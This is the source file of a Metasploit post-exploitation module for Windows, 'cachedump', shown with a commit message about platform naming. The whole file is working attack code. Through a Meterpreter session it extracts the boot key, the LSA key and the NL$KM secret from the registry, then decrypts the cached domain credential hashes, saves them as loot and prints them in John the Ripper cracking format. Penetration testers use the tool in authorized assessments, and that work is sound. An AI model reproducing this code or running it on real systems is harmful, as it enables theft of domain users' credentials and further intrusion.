21f6127e29
Change all Platform 'windows' to 'win', as it internally is an alias anyway and only causes unnecessary confusion to have two platform names that mean the same.
547 lines
15 KiB
Ruby
547 lines
15 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
# post/windows/gather/cachedump.rb
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/post/windows/registry'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Windows::Registry
|
|
|
|
def initialize(info={})
|
|
super( update_info(info,
|
|
'Name' => 'Windows Gather Credential Cache Dump',
|
|
'Description' => %q{
|
|
This module uses the registry to extract the stored domain hashes that have been
|
|
cached as a result of a GPO setting. The default setting on Windows is to store
|
|
the last ten successful logins.},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Maurizio Agazzini <inode[at]mediaservice.net>',
|
|
'mubix'
|
|
],
|
|
'Version' => '$Revision$',
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']]
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('DEBUG', [true, 'Debugging output', false])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
|
|
def check_gpo
|
|
begin
|
|
winlogonkey = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", KEY_READ)
|
|
gposetting = winlogonkey.query_value('CachedLogonsCount').data
|
|
print_status("Cached Credentials Setting: #{gposetting.to_s} - (Max is 50 and 0 disables, and 10 is default)")
|
|
#ValueName: CachedLogonsCount
|
|
#Data Type: REG_SZ
|
|
#Values: 0 - 50
|
|
rescue ::Exception => e
|
|
print_error("Cache setting not found...")
|
|
end
|
|
end
|
|
|
|
def capture_boot_key
|
|
bootkey = ""
|
|
basekey = "System\\CurrentControlSet\\Control\\Lsa"
|
|
|
|
%W{JD Skew1 GBG Data}.each do |k|
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
|
|
return nil if not ok
|
|
bootkey << [ok.query_class.to_i(16)].pack("V")
|
|
ok.close
|
|
end
|
|
|
|
keybytes = bootkey.unpack("C*")
|
|
descrambled = ""
|
|
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
|
|
|
|
0.upto(keybytes.length-1) do |x|
|
|
descrambled << [keybytes[descrambler[x]]].pack("C")
|
|
end
|
|
|
|
return descrambled
|
|
end
|
|
|
|
def capture_lsa_key(bootkey)
|
|
begin
|
|
print_status("Getting PolSecretEncryptionKey...") if( datastore['DEBUG'] )
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ)
|
|
pol = ok.query_value("").data
|
|
print_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
ok.close
|
|
print_status("XP compatible client")
|
|
@vista = 0
|
|
rescue
|
|
print_status("Trying 'Vista' style...")
|
|
print_status("Getting PolEKList...") if( datastore['DEBUG'] )
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ)
|
|
pol = ok.query_value("").data
|
|
ok.close
|
|
print_status("Vista compatible client")
|
|
@vista = 1
|
|
end
|
|
|
|
if( @vista == 1 )
|
|
lsakey = decrypt_lsa(pol, bootkey)
|
|
lsakey = lsakey[68,32]
|
|
else
|
|
md5x = Digest::MD5.new()
|
|
md5x << bootkey
|
|
(1..1000).each do
|
|
md5x << pol[60,16]
|
|
end
|
|
|
|
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
|
|
rc4.key = md5x.digest
|
|
lsakey = rc4.update(pol[12,48])
|
|
lsakey << rc4.final
|
|
lsakey = lsakey[0x10..0x1F]
|
|
end
|
|
return lsakey
|
|
end
|
|
|
|
def convert_des_56_to_64(kstr)
|
|
des_odd_parity = [
|
|
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
|
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
|
|
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
|
|
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
|
|
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
|
|
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
|
|
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
|
|
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
|
|
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
|
|
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
|
|
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
|
|
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
|
|
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
|
|
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
|
|
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
|
|
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
|
|
]
|
|
|
|
key = []
|
|
str = kstr.unpack("C*")
|
|
|
|
key[0] = str[0] >> 1
|
|
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
|
|
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
|
|
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
|
|
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
|
|
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
|
|
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
|
|
key[7] = str[6] & 0x7F
|
|
|
|
0.upto(7) do |i|
|
|
key[i] = ( key[i] << 1)
|
|
key[i] = des_odd_parity[key[i]]
|
|
end
|
|
return key.pack("C*")
|
|
end
|
|
|
|
def decrypt_secret(secret, key)
|
|
|
|
# Ruby implementation of SystemFunction005
|
|
# the original python code has been taken from Credump
|
|
|
|
j = 0
|
|
decrypted_data = ''
|
|
|
|
for i in (0...secret.length).step(8)
|
|
enc_block = secret[i..i+7]
|
|
block_key = key[j..j+6]
|
|
des_key = convert_des_56_to_64(block_key)
|
|
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
|
|
|
|
d1.padding = 0
|
|
d1.key = des_key
|
|
d1o = d1.update(enc_block)
|
|
d1o << d1.final
|
|
decrypted_data += d1o
|
|
j += 7
|
|
if (key[j..j+7].length < 7 )
|
|
j = key[j..j+7].length
|
|
end
|
|
end
|
|
dec_data_len = decrypted_data[0].ord
|
|
|
|
return decrypted_data[8..8+dec_data_len]
|
|
|
|
end
|
|
|
|
def decrypt_lsa(pol, encryptedkey)
|
|
|
|
sha256x = Digest::SHA256.new()
|
|
sha256x << encryptedkey
|
|
(1..1000).each do
|
|
sha256x << pol[28,32]
|
|
end
|
|
|
|
aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
|
|
aes.key = sha256x.digest
|
|
|
|
print_status("digest #{sha256x.digest.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
decryptedkey = ''
|
|
|
|
for i in (60...pol.length).step(16)
|
|
aes.decrypt
|
|
aes.padding = 0
|
|
xx = aes.update(pol[i...i+16])
|
|
decryptedkey += xx
|
|
end
|
|
|
|
return decryptedkey
|
|
end
|
|
|
|
def capture_nlkm(lsakey)
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", KEY_READ)
|
|
nlkm = ok.query_value("").data
|
|
ok.close
|
|
|
|
print_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
if( @vista == 1 )
|
|
nlkm_dec = decrypt_lsa( nlkm[0..-1], lsakey)
|
|
else
|
|
nlkm_dec = decrypt_secret( nlkm[0xC..-1], lsakey)
|
|
end
|
|
|
|
return nlkm_dec
|
|
end
|
|
|
|
def parse_decrypted_cache(dec_data, s)
|
|
|
|
i = 0
|
|
hash = dec_data[i...i+0x10]
|
|
i+=72
|
|
|
|
username = dec_data[i...i+(s.userNameLength)].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.userNameLength
|
|
i+=2 * ( ( s.userNameLength / 2 ) % 2 )
|
|
|
|
vprint_good "Username\t\t: #{username}"
|
|
vprint_good "Hash\t\t: #{hash.unpack("H*")[0]}"
|
|
|
|
last = Time.at(s.lastAccess)
|
|
vprint_good "Last login\t\t: #{last.strftime("%F %T")} "
|
|
|
|
domain = dec_data[i...i+s.domainNameLength+1]
|
|
i+=s.domainNameLength
|
|
|
|
if( s.dnsDomainNameLength != 0)
|
|
dnsDomainName = dec_data[i...i+s.dnsDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.dnsDomainNameLength
|
|
i+=2 * ( ( s.dnsDomainNameLength / 2 ) % 2 )
|
|
vprint_good "DNS Domain Name\t: #{dnsDomainName}"
|
|
end
|
|
|
|
if( s.upnLength != 0)
|
|
upn = dec_data[i...i+s.upnLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.upnLength
|
|
i+=2 * ( ( s.upnLength / 2 ) % 2 )
|
|
vprint_good "UPN\t\t\t: #{upn}"
|
|
end
|
|
|
|
if( s.effectiveNameLength != 0 )
|
|
effectiveName = dec_data[i...i+s.effectiveNameLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.effectiveNameLength
|
|
i+=2 * ( ( s.effectiveNameLength / 2 ) % 2 )
|
|
vprint_good "Effective Name\t: #{effectiveName}"
|
|
end
|
|
|
|
if( s.fullNameLength != 0 )
|
|
fullName = dec_data[i...i+s.fullNameLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.fullNameLength
|
|
i+=2 * ( ( s.fullNameLength / 2 ) % 2 )
|
|
vprint_good "Full Name\t\t: #{fullName}"
|
|
end
|
|
|
|
if( s.logonScriptLength != 0 )
|
|
logonScript = dec_data[i...i+s.logonScriptLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.logonScriptLength
|
|
i+=2 * ( ( s.logonScriptLength / 2 ) % 2 )
|
|
vprint_good "Logon Script\t\t: #{logonScript}"
|
|
end
|
|
|
|
if( s.profilePathLength != 0 )
|
|
profilePath = dec_data[i...i+s.profilePathLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.profilePathLength
|
|
i+=2 * ( ( s.profilePathLength / 2 ) % 2 )
|
|
vprint_good "Profile Path\t\t: #{profilePath}"
|
|
end
|
|
|
|
if( s.homeDirectoryLength != 0 )
|
|
homeDirectory = dec_data[i...i+s.homeDirectoryLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.homeDirectoryLength
|
|
i+=2 * ( ( s.homeDirectoryLength / 2 ) % 2 )
|
|
vprint_good "Home Directory\t\t: #{homeDirectory}"
|
|
end
|
|
|
|
if( s.homeDirectoryDriveLength != 0 )
|
|
homeDirectoryDrive = dec_data[i...i+s.homeDirectoryDriveLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.homeDirectoryDriveLength
|
|
i+=2 * ( ( s.homeDirectoryDriveLength / 2 ) % 2 )
|
|
vprint_good "Home Directory Drive\t: #{homeDirectoryDrive}"
|
|
end
|
|
|
|
vprint_good "User ID\t\t: #{s.userId}"
|
|
vprint_good "Primary Group ID\t: #{s.primaryGroupId}"
|
|
|
|
relativeId = []
|
|
while (s.groupCount > 0) do
|
|
# Todo: parse attributes
|
|
relativeId << dec_data[i...i+4].unpack("V")[0]
|
|
i+=4
|
|
attributes = dec_data[i...i+4].unpack("V")[0]
|
|
i+=4
|
|
s.groupCount-=1
|
|
end
|
|
|
|
vprint_good "Additional groups\t: #{relativeId.join ' '}"
|
|
|
|
if( s.logonDomainNameLength != 0 )
|
|
logonDomainName = dec_data[i...i+s.logonDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '')
|
|
i+=s.logonDomainNameLength
|
|
i+=2 * ( ( s.logonDomainNameLength / 2 ) % 2 )
|
|
vprint_good "Logon domain name\t: #{logonDomainName}"
|
|
end
|
|
|
|
@credentials <<
|
|
[
|
|
username,
|
|
hash.unpack("H*")[0],
|
|
logonDomainName,
|
|
dnsDomainName,
|
|
last.strftime("%F %T"),
|
|
upn,
|
|
effectiveName,
|
|
fullName,
|
|
logonScript,
|
|
profilePath,
|
|
homeDirectory,
|
|
homeDirectoryDrive,
|
|
s.primaryGroupId,
|
|
relativeId.join(' '),
|
|
]
|
|
|
|
vprint_good "----------------------------------------------------------------------"
|
|
return "#{username.downcase}:#{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n"
|
|
end
|
|
|
|
def parse_cache_entry(cache_data)
|
|
j = Struct.new(
|
|
:userNameLength,
|
|
:domainNameLength,
|
|
:effectiveNameLength,
|
|
:fullNameLength,
|
|
:logonScriptLength,
|
|
:profilePathLength,
|
|
:homeDirectoryLength,
|
|
:homeDirectoryDriveLength,
|
|
:userId,
|
|
:primaryGroupId,
|
|
:groupCount,
|
|
:logonDomainNameLength,
|
|
:logonDomainIdLength,
|
|
:lastAccess,
|
|
:last_access_time,
|
|
:revision,
|
|
:sidCount,
|
|
:valid,
|
|
:sifLength,
|
|
:logonPackage,
|
|
:dnsDomainNameLength,
|
|
:upnLength,
|
|
:ch,
|
|
:enc_data
|
|
)
|
|
|
|
s = j.new()
|
|
|
|
s.userNameLength = cache_data[0,2].unpack("v")[0]
|
|
s.domainNameLength = cache_data[2,2].unpack("v")[0]
|
|
s.effectiveNameLength = cache_data[4,2].unpack("v")[0]
|
|
s.fullNameLength = cache_data[6,2].unpack("v")[0]
|
|
s.logonScriptLength = cache_data[8,2].unpack("v")[0]
|
|
s.profilePathLength = cache_data[10,2].unpack("v")[0]
|
|
s.homeDirectoryLength = cache_data[12,2].unpack("v")[0]
|
|
s.homeDirectoryDriveLength = cache_data[14,2].unpack("v")[0]
|
|
|
|
s.userId = cache_data[16,4].unpack("V")[0]
|
|
s.primaryGroupId = cache_data[20,4].unpack("V")[0]
|
|
s.groupCount = cache_data[24,4].unpack("V")[0]
|
|
s.logonDomainNameLength = cache_data[28,2].unpack("v")[0]
|
|
s.logonDomainIdLength = cache_data[30,2].unpack("v")[0]
|
|
|
|
#Removed ("Q") unpack and replaced as such
|
|
thi = cache_data[32,4].unpack("V")[0]
|
|
tlo = cache_data[36,4].unpack("V")[0]
|
|
q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)
|
|
s.lastAccess = ((q / 10000000) - 11644473600)
|
|
|
|
s.revision = cache_data[40,4].unpack("V")[0]
|
|
s.sidCount = cache_data[44,4].unpack("V")[0]
|
|
s.valid = cache_data[48,4].unpack("V")[0]
|
|
s.sifLength = cache_data[52,4].unpack("V")[0]
|
|
|
|
s.logonPackage = cache_data[56,4].unpack("V")[0]
|
|
s.dnsDomainNameLength = cache_data[60,2].unpack("v")[0]
|
|
s.upnLength = cache_data[62,2].unpack("v")[0]
|
|
|
|
s.ch = cache_data[64,16]
|
|
s.enc_data = cache_data[96..-1]
|
|
|
|
return s
|
|
end
|
|
|
|
def decrypt_hash(edata, nlkm, ch)
|
|
rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('md5'), nlkm, ch)
|
|
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
|
|
rc4.key = rc4key
|
|
dec = rc4.update(edata)
|
|
dec << rc4.final
|
|
|
|
return dec
|
|
end
|
|
|
|
def decrypt_hash_vista(edata, nlkm, ch)
|
|
aes = OpenSSL::Cipher::Cipher.new('aes-128-cbc')
|
|
aes.key = nlkm[16...-1]
|
|
aes.padding = 0
|
|
aes.decrypt
|
|
aes.iv = ch
|
|
|
|
jj = ""
|
|
for i in (0...edata.length).step(16)
|
|
xx = aes.update(edata[i...i+16])
|
|
jj += xx
|
|
end
|
|
|
|
return jj
|
|
end
|
|
|
|
|
|
def run
|
|
@credentials = Rex::Ui::Text::Table.new(
|
|
'Header' => "MSCACHE Credentials",
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
"Username",
|
|
"Hash",
|
|
"Logon Domain Name",
|
|
"DNS Domain Name",
|
|
"Last Login",
|
|
"UPN",
|
|
"Effective Name",
|
|
"Full Name",
|
|
"Logon Script",
|
|
"Profile Path",
|
|
"Home Directory",
|
|
"HomeDir Drive",
|
|
"Primary Group",
|
|
"Additional Groups"
|
|
])
|
|
|
|
begin
|
|
print_status("Executing module against #{session.sys.config.sysinfo['Computer']}")
|
|
client.railgun.netapi32()
|
|
if client.railgun.netapi32.NetGetJoinInformation(nil,4,4)["BufferType"] != 3
|
|
print_error("System is not joined to a domain, exiting..")
|
|
return
|
|
end
|
|
|
|
#Check policy setting for cached creds
|
|
check_gpo
|
|
|
|
print_status('Obtaining boot key...')
|
|
bootkey = capture_boot_key
|
|
print_status("Boot key: #{bootkey.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
print_status('Obtaining Lsa key...')
|
|
lsakey = capture_lsa_key(bootkey)
|
|
print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
print_status("Obtaining LK$KM...")
|
|
nlkm = capture_nlkm(lsakey)
|
|
print_status("NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
print_status("Dumping cached credentials...")
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Cache", KEY_READ)
|
|
|
|
john = ""
|
|
|
|
ok.enum_value.each do |usr|
|
|
if( "NL$Control" == usr.name) then
|
|
next
|
|
end
|
|
|
|
begin
|
|
nl = ok.query_value("#{usr.name}").data
|
|
rescue
|
|
next
|
|
end
|
|
|
|
cache = parse_cache_entry(nl)
|
|
|
|
if ( cache.userNameLength > 0 )
|
|
print_status("Reg entry: #{nl.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
print_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
print_status("Ch: #{cache.ch.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
if( @vista == 1 )
|
|
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
|
|
else
|
|
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
|
|
end
|
|
|
|
print_status("Decrypted data: #{dec_data.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
john += parse_decrypted_cache(dec_data, cache)
|
|
|
|
end
|
|
end
|
|
|
|
store_loot("mscache.creds", "text/csv", session, @credentials.to_csv,
|
|
"mscache_credentials.txt", "MSCACHE Credentials")
|
|
|
|
print_status("John the Ripper format:")
|
|
|
|
john.split("\n").each do |pass|
|
|
print "#{pass}\n"
|
|
end
|
|
|
|
if( @vista == 1 )
|
|
print_status("Hash are in MSCACHE_VISTA format. (mscash2)")
|
|
else
|
|
print_status("Hash are in MSCACHE format. (mscash)")
|
|
end
|
|
|
|
rescue ::Interrupt
|
|
raise $!
|
|
rescue ::Rex::Post::Meterpreter::RequestError => e
|
|
print_error("Meterpreter Exception: #{e.class} #{e}")
|
|
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
|
|
end
|
|
end
|
|
end
|